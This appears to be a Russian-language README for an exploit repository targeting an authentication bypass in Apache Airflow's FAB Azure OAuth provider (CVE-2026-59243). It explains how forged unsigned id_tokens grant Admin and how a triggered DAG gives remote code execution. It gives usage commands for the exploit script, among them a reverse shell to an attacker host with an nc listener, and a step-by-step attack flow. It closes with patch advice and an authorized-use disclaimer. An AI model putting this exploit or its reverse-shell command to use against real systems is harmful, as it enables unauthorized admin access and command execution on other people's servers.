0xdak/cve-2026-59243_exploitЭксплойт для обхода аутентификации Apache Airflow FAB OAuth (CVE-2026-59243), который предоставляет доступ администратора и обеспечивает удалённое выполнение кода путём запуска специально созданного DAG через REST API.
Обход аутентификации в провайдере FAB auth-manager Apache Airflow (apache-airflow-providers-fab), приводящий к удалённому выполнению кода через запускаемый DAG.
Провайдер декодирует Azure OAuth id_token с отключённой по умолчанию проверкой подписи (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
Утверждения (claims) напрямую сопоставляются с учётной записью — oid → имя пользователя, roles → role_keys — а AUTH_ROLES_MAPPING превращает утверждение roles=["Azure-Admins"] в роль Admin. Поскольку подпись/эмитент/аудитория токена никогда не проверяются (CWE-347), злоумышленник, прошедший OAuth-поток, аутентифицируется как Admin без реальных учётных данных. Затем Admin может запустить DAG, выполняющий произвольные команды.
apache-airflow-providers-fab < 3.7.3 (с apache-airflow >= 3.0.2)3.7.3 (значение по умолчанию изменено на verify_signature=True; токен проверяется по JWKS Microsoft)8080 (UI Airflow + REST API)Только стандартная библиотека Python 3. На цели должен быть настроен FAB auth manager с уязвимым провайдером Azure OAuth, а также (для шага RCE) DAG, задача которого выполняет контролируемый атакующим dag_run.conf.
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) с использованием cookie jar. FAB принимает неподписанный/подделанный id_token и входит как Admin, устанавливая cookie session и cookie _token (JWT, который ожидает REST API).POST /api/v2/dags/<dag>/dagRuns (Bearer _token) с {"conf":{"cmd":"..."}} запускает DAG, чей BashOperator выполняет dag_run.conf['cmd']. Используйте уникальный logical_date для каждого запуска (пара (dag_id, logical_date) уникальна в БД метаданных).Инструмент также переписывает loopback-хост в OAuth-редиректе authorize на цель, поэтому он работает против удалённой цели, чей IdP указан в конфигурации сервера как 127.0.0.1.
Это эксплуатирует недостаток проверки токена. Для получения Admin требуется, чтобы OAuth-поток выдал токен с повышенным утверждением roles — тривиально, когда на IdP/токен можно повлиять, поскольку Airflow никогда не проверяет подпись. Шаг RCE предполагает DAG, выполняющий dag_run.conf (распространённый паттерн); в противном случае доступ Admin можно использовать через другие возможности Airflow.
Обновите apache-airflow-providers-fab до ≥ 3.7.3; никогда не сопоставляйте внешние утверждения ролей OAuth напрямую с ролью Admin; не запускайте Airflow от root; не оставляйте UI/API доступными из недоверенных сетей.
Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.